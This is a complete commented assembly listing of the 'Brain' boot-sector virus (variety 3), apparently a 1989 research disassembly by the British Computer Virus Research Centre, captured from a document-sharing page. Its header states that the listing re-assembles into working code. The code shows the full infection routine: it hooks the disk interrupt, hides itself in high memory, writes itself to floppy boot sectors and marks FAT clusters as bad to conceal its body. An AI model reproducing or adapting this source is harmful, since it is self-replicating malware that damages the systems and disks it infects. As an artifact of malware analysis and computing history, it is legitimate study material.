Está en la página 1de 12

page 65,132

title the 'brain' virus - variety 3


; ???????????????????????????????????????????????????????????????????????????
; ? british computer virus research centre ?
; ? 12 guildford street, brighton, east sussex, bn1 3ls, england ?
; ? telephone: domestic 0273-26105, international +44-273-26105 ?
; ? ?
; ? the 'brain' virus - variety 3 ?
; ? disassembled by joe hirst, july 1989 ?
; ? ?
; ? copyright (c) joe hirst 1988, 1989. ?
; ? ?
; ? this listing is only to be made available to virus researchers ?
; ? or software writers on a need-to-know basis. ?
; ???????????????????????????????????????????????????????????????????????????

; the virus consists of a boot sector and six consecutive sectors on


; a 360k floppy disk. these sectors are flagged as bad clusters in
; the fat. the first of these sectors contains the original boot
; sector, and there is a pointer to this sector in the boot sector.
; the other sectors contain the rest of the code.

; the disassembly has been tested by re-assembly using masm 5.0.

; the program requires an origin address of 7c00h for the first sector
; to load and run as a boot sector.

ram segment at 0

; system data

org 4ch
bw004c dw ? ; interrupt 19 (13h) offset
bw004e dw ? ; interrupt 19 (13h) segment
org 1b4h
bw01b4 dw ? ; interrupt 109 (6dh) offset
bw01b6 dw ? ; interrupt 109 (6dh) segment
org 413h
bw0413 dw ? ; total ram size

ram ends

code segment byte public 'code'


assume cs:code,ds:code

start: cli
jmp bp0010

dw 1234h ; identification word

inihed db 1 ; initial head number


initrs dw 4 ; initial track and sector
curhed db 0 ; current head number
curtrs dw 1 ; current track and sector

db 4 dup (0)

db 'welcome to the dungeon (c) 1986 ashar &'


db ' ashars (pvt) ltd virus_shoe record '
db 'dedicated to the dynamic memories of millions of'
db ' virus who are no longer with us today - thanks '
db 'goodness!! beware of the er..virus : \thi'
db 's program is catching program follows after'
db ' these messeges..... $#@%$@!! '

; initial load of rest of virus

bp0010: mov ax,cs ; \


mov ds,ax ; ) make segment registers same as ds
mov ss,ax ; /
mov sp,0f000h
sti
mov al,inihed+7c00h ; get initial head number
mov curhed+7c00h,al ; save as current head number
mov cx,initrs+7c00h ; get initial track and sector
mov curtrs+7c00h,cx ; save as current track and sector
call bp0060 ; address to next sector
mov cx,5 ; number of sectors to read
mov bx,7e00h ; address to end of first section
bp0020: call bp0030 ; read a sector
call bp0060 ; address to next sector
add bx,200h ; address up length of sector
loop bp0020 ; read 5 sectors

; hide virus in top part of memory

mov ax,bw0413 ; get total ram size


sub ax,7 ; subtract 7k
mov bw0413,ax ; replace total ram size
mov cl,6 ; number of bits to move
shl ax,cl ; convert to segment address
mov es,ax ; load new segment address
mov si,7c00h ; load current offset
mov di,0 ; load target offset
mov cx,1004h ; load length to move
cld
repz movsb ; move to new location
push es ; push new segment
mov ax,offset bp0080 ; offset of second section
push ax ; push new offset
retf ; transfer control to second section

; read routine for initial load

bp0030: push cx
push bx
mov cx,4 ; number of retries
bp0040: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 13h ; disk i/o
jb bp0045 ; branch if error
mov dh,curhed+7c00h ; get head number
mov dl,0 ; drive a
mov cx,curtrs+7c00h ; get current track and sector
mov ax,201h ; read one sector
int 13h ; disk i/o
jnb bp0050 ; return if no error
bp0045: pop cx ; recover number of retries
loop bp0040 ; retry
int 18h ; basic loader

; return for initial load routine

bp0050: pop cx
pop bx
pop cx
ret

; address to next sector (initial load)

bp0060: mov al,byte ptr curtrs+7c00h ; get current sector


inc al ; increment current sector
mov byte ptr curtrs+7c00h,al ; replace current sector
cmp al,0ah ; test for past last sector
jne bp0070 ; return if not
mov byte ptr curtrs+7c00h,1 ; set sector to first
mov al,curhed+7c00h ; get head number
inc al ; increment head number
mov curhed+7c00h,al ; replace head number
cmp al,2 ; test for past last head
jne bp0070 ; return if not
mov curhed+7c00h,0 ; set head number to zero
inc byte ptr curtrs+7c00h+1 ; address next track
bp0070: ret

; rubbish at the end of first sector

db 05eh, 0fah, 08ah, 047h, 008h, 02ah, 0e4h, 040h


db 050h, 0e8h, 04dh, 049h, 083h, 0c4h, 006h, 02bh
db 0c0h, 050h, 08bh, 05eh, 0fah, 0ffh, 077h

; end of first sector, start of second

bp0080: jmp short bp0090

db '(c) 1986 ashar & ashars (pvt) ltd '


db 0

ifncnt db 4 ; count
drivno db 1 ; drive number

; install interrupts

assume ds:ram
bp0090: mov ifncnt,1fh ; set up initial count
xor ax,ax ; \ address zero
mov ds,ax ; /
mov ax,bw004c ; get int 13h offset
mov bw01b4,ax ; store as int 6dh offset
mov ax,bw004e ; get int 13h segment
mov bw01b6,ax ; store as int 6dh segment
mov ax,offset bp0120 ; get address of int 13h routine
mov bw004c,ax ; put in int 13h offset
mov ax,cs ; get segment
mov bw004e,ax ; put in int 13h segment

; read real boot sector and pass control

mov cx,4 ; number of retries


xor ax,ax ; \ set es to zero
mov es,ax ; /
bp0100: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
jb bp0105 ; branch if error
mov dh,inihed ; initial head number
mov dl,0 ; drive a
mov cx,initrs ; initial track and sector
mov ax,201h ; read one sector
mov bx,7c00h ; boot sector buffer address
int 6dh ; original disk i/o interrupt
jnb bp0110 ; branch if no error
bp0105: pop cx ; recover number of retries
loop bp0100 ; retry
int 18h ; basic loader

bp0110: db 0eah ; far jump to boot sector


dw 7c00h, 0

nop

; interrupt 13h routine

bp0120: sti
cmp ah,2 ; test for read
jne bp0240 ; pass to bios if not
cmp dl,2 ; test drive number
ja bp0240 ; pass to bios if not floppy
cmp ch,0 ; test track number 0
jne bp0130 ; branch if not
cmp dh,0 ; test head number 0
je bp0150 ; branch if yes
bp0130: dec ifncnt ; decrement count
jne bp0240 ; pass to bios if count not zero

; read boot sector into boot sector store

bp0150: mov ifncnt,4 ; reset count to 4


push ax
push bx
push cx
push dx
mov drivno,dl ; save drive number
mov cx,4 ; number of retries
bp0160: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
jb bp0170 ; branch if error
mov dh,0 ; head zero
mov cx,1 ; track zero, sector 1
mov bx,offset store ; address boot sector store
push es
mov ax,cs ; \ set es to cs
mov es,ax ; /
mov ax,201h ; read one sector
int 6dh ; original disk i/o interrupt
pop es
jnb bp0180 ; branch if no error
bp0170: pop cx ; recover number of retries
loop bp0160 ; retry
jmp bp0210

; see if already installed

bp0180: pop cx
mov ax,word ptr cs:store+4 ; get identification number
cmp ax,1234h ; see if already installed
je bp0220 ; branch if yes

; instal virus

bp0190: push ds
push es
mov ax,cs ; \
mov ds,ax ; ) make segment regs equal
mov es,ax ; /
push si
call bp0640 ; write virus to disk
jb bp0200 ; branch if error
call bp0480 ; process root directory
bp0200: pop si
pop es
pop ds
jnb bp0220 ; branch if no error
bp0210: mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
bp0220: pop dx
pop cx
pop bx
pop ax
bp0240: int 6dh ; original disk i/o interrupt
retf 2 ; end of interrupt

db 12 dup (0)

; process disk before installing virus

bp0250: jmp bp0260

freecl dw 3 ; consecutive free clusters

db ' (c) 1986 ashar & ashars (pvt) ltd'

assume ds:code

; get fats

bp0260: call bp0400 ; read fats


mov ax,word ptr store ; get first word of sector
cmp ax,0fffdh ; start of fat
je bp0270 ; branch if the right format
mov al,3 ; flag type of error
stc ; indicate error condition
ret

; find three consecutive entries

bp0270: mov cx,2 ; first cluster is two


mov freecl,0 ; cluster count to zero
bp0280: call bp0360 ; get fat entry
cmp ax,0 ; is cluster free
jne bp0290 ; branch if not
inc freecl ; add to found count
cmp freecl,3 ; have we got three
jne bp0300 ; branch if not
jmp bp0310 ; flag the clusters

; not found yet

bp0290: mov freecl,0 ; reset cluster found count


bp0300: inc cx ; next cluster
cmp cx,163h ; have we reached the end
jne bp0280 ; process if not
mov al,1 ; flag type of error
stc ; indicate error condition
ret

; mark clusters

bp0310: mov dl,3 ; cluster count


bp0320: call bp0330 ; mark cluster as bad
dec cx ; back one cluster
dec dl ; subtract from count
jnz bp0320 ; process next
inc cx ; back to first found cluster
call bp0460 ; convert cluster no to address
call bp0410 ; write fats
mov al,0 ; type of error = none
clc ; no error
ret

; mark cluster as bad

bp0330: push cx
push dx
mov si,offset store ; address boot sector store
mov al,cl ; copy entry number
shr al,1 ; bottom bit to carry flag
jb bp0340 ; branch if entry is even
call bp0390 ; calculate fat entry disp
mov ax,[bx+si] ; load entry
and ax,0f000h ; clear fat entry
or ax,0ff7h ; bad cluster
jmp bp0350

; mark as bad, even number cluster

bp0340: call bp0390 ; calculate fat entry disp


mov ax,[bx+si] ; load entry
and ax,0fh ; clear fat entry
or ax,0ff70h ; bad cluster
bp0350: mov [bx+si],ax ; replace bad cluster marker
mov [bx+si+0400h],ax ; and in the other fat
pop dx
pop cx
ret

; get fat entry

bp0360: push cx
mov si,offset store ; address boot sector store
mov al,cl ; copy entry number
shr al,1 ; bottom bit to carry flag
jb bp0370 ; branch if entry is even
call bp0390 ; calculate fat entry disp
mov ax,[bx+si] ; load entry
and ax,0fffh ; isolate fat entry
jmp bp0380

; get fat entry, even number cluster

bp0370: call bp0390 ; calculate fat entry disp


mov ax,[bx+si] ; load entry
and ax,0fff0h ; isolate fat entry
mov cl,4 ; number of bits to move
shr ax,cl ; align fat entry
bp0380: pop cx
ret

; calculate fat entry displacement

bp0390: push dx
mov ax,3 ; length of 2 fat entries
mul cx ; multiply by number
shr ax,1 ; divide by two
mov bx,ax ; save result
pop dx
ret

; read fats

bp0400: mov ah,2 ; read sub-function


call bp0420 ; read or write fats
ret

; write fats

bp0410: mov ah,3 ; write sub-function


call bp0420 ; read or write fats
ret

; read or write both fats

bp0420: mov cx,4 ; number of retries


bp0430: push cx ; save number of retries
push ax
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
pop ax
jb bp0440 ; branch if error
mov bx,offset store ; address boot sector store
mov al,4 ; 4 sectors
mov dh,0 ; head zero
mov dl,drivno ; get drive number
mov cx,2 ; track zero, sector 2
push ax
int 6dh ; original disk i/o interrupt
pop ax
jnb bp0450 ; branch if no error
bp0440: pop cx ; recover number of retries
loop bp0430 ; retry
pop ax
pop ax
mov al,2 ; flag type of error
stc ; indicate error condition
ret

bp0450: pop cx
ret

; convert cluster number to address

bp0460: push cx ; save cluster number


sub cx,2 ; subtract 2
shl cx,1 ; double it
add cx,12 ; add 12
mov ax,cx ; save sector number
mov cl,12h ; sectors per track (both sides)
div cl ; calculate track number
mov byte ptr initrs+1,al ; save track number
mov inihed,0 ; initial head number
inc ah ; sectors start from 1
cmp ah,9 ; is it head 0
jbe bp0470 ; branch if yes
sub ah,9 ; calculate sector number
mov inihed,1 ; initial head number
bp0470: mov byte ptr initrs,ah ; initial sector
pop cx
ret

db 6 dup (0)

dskfnc db 3 ; disk i/o sub-function


regst1 dw 303h ; temporary register store (1)
regst2 dw 0dd3h ; temporary register store (2)
regst3 dw 1 ; temporary register store (3)
regst4 dw 100h ; temporary register store (4)

; this section decrypts to ' (c) ashar ' by taking the complement of
; each character and adding one

dsklab db 0e0h, 0d8h, 09dh, 0d7h, 0e0h, 09fh, 08dh, 098h


db 09fh, 08eh, 0e0h
; process root directory

bp0480: call bp0560 ; read root directory


jb bp0490 ; branch if error
call bp0500
jb bp0490
call bp0570 ; write root directory
bp0490: ret

; find volume label, or first unused entry

bp0500: mov byte ptr regst1,70h ; no of root dir entries


mov si,offset store ; first directory entry
bp0510: mov al,[si] ; get first byte of entry
cmp al,0 ; is entry unused
je bp0520 ; branch if yes
mov al,[si+11] ; get file attribute
and al,8 ; switch off all but vol label
cmp al,8 ; is entry a vol label
je bp0520 ; branch if yes
add si,20h ; address to next entry
dec byte ptr regst1 ; deduct from entry count
jnz bp0510 ; process next entry
stc ; indicate error condition
ret

; unused entry or volume label found

bp0520: mov bx,offset dsklab ;


mov cx,0bh ;
bp0530: mov al,[bx] ; get next byte
neg al
mov [si],al
inc si
inc bx ; increment pointer
loop bp0530 ; repeat for next character pair
mov al,8
mov [si],al
clc ; no error
ret

; read root directory

bp0560: mov dskfnc,2 ; read sub-function


jmp bp0580

; write root directory

bp0570: mov dskfnc,3 ; write sub-function


jmp bp0580

; read or write root directory

bp0580: mov dh,0 ; head zero


mov dl,drivno ; get drive number
mov cx,6 ; track zero, sector 6
mov ah,dskfnc ; get disk i/o sub-function
mov al,4 ; four sectors
mov bx,offset store ; address boot sector store
call bp0600 ; disk i/o
jb bp0590 ; branch if error
mov cx,1 ; track zero, sector one
mov dh,1 ; head one
mov ah,dskfnc ; get disk i/o sub-function
mov al,3 ; three sectors
add bx,800h ; address past 4 already read
call bp0600 ; disk i/o
bp0590: ret

; disk i/o for root directory

bp0600: mov regst1,ax ; \


mov regst2,bx ; \ save registers
mov regst3,cx ; /
mov regst4,dx ; /
mov cx,4 ; number of retries
bp0610: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
jb bp0620 ; branch if error
mov ax,regst1 ; \
mov bx,regst2 ; \ restore registers
mov cx,regst3 ; /
mov dx,regst4 ; /
int 6dh ; original disk i/o interrupt
jnb bp0630 ; branch if no error
bp0620: pop cx ; recover number of retries
loop bp0610 ; retry
stc ; indicate error condition
ret

bp0630: pop cx
ret

db 9 dup (0)

numsec dw 4
axstor dw 301h ; ax store (sub-function,

; write virus to disk

bp0640: call bp0250 ; process disk


jb bp0660 ; branch if error
mov curtrs,1 ; current track and sector
mov curhed,0 ; current head number
mov bx,offset store ; address boot sector store
call bp0670 ; read boot one sector
mov bx,offset store ; address boot sector store
mov ax,initrs ; initial track and sector
mov curtrs,ax ; current track and sector
mov ah,inihed ; initial head number
mov curhed,ah ; current head number
call bp0680 ; write a sector
call bp0720 ; get next sector number
mov cx,5 ; number of sectors
mov bx,200h ; address second sector
bp0650: mov numsec,cx ; save number of sectors
call bp0680 ; write a sector
call bp0720 ; get next sector number
add bx,200h ; address next sector
mov cx,numsec ; recover number of sectors
loop bp0650 ; repeat for five sectors
mov curhed,0 ; current head number
mov curtrs,1 ; current track and sector
mov bx,0 ; address to beginning
call bp0680 ; write 'boot' sector
clc ; no error
bp0660: ret

; read a sector

bp0670: mov axstor,201h ; read one sector


jmp bp0690

; write a sector

bp0680: mov axstor,301h ; write one sector


jmp bp0690

; read or write a sector

bp0690: push bx
mov cx,4 ; number of retries
bp0700: push cx ; save number of retries
mov ah,0 ; reset disk sub-system
int 6dh ; original disk i/o interrupt
jb bp0705 ; branch if error
mov dh,curhed ; current head number
mov dl,drivno ; get drive number
mov cx,curtrs ; current track and sector
mov ax,cs
push es
mov es,ax
mov ax,axstor ; get sub-function
int 6dh ; original disk i/o interrupt
pop es
jnb bp0710 ; branch if no error
bp0705: pop cx ; recover number of retries
loop bp0700 ; retry
pop bx
pop bx
stc ; indicate error condition
ret

bp0710: pop cx
pop bx
ret

; get next sector number

bp0720: inc byte ptr curtrs ; current sector


cmp byte ptr curtrs,0ah ; current sector
jne bp0730
mov byte ptr curtrs,1 ; current sector
inc curhed ; current head number
cmp curhed,2 ; current head number
jne bp0730
mov curhed,0 ; current head number
inc byte ptr curtrs+1 ; current track
bp0730: ret

; disk input store

store equ $

code ends

end start

También podría gustarte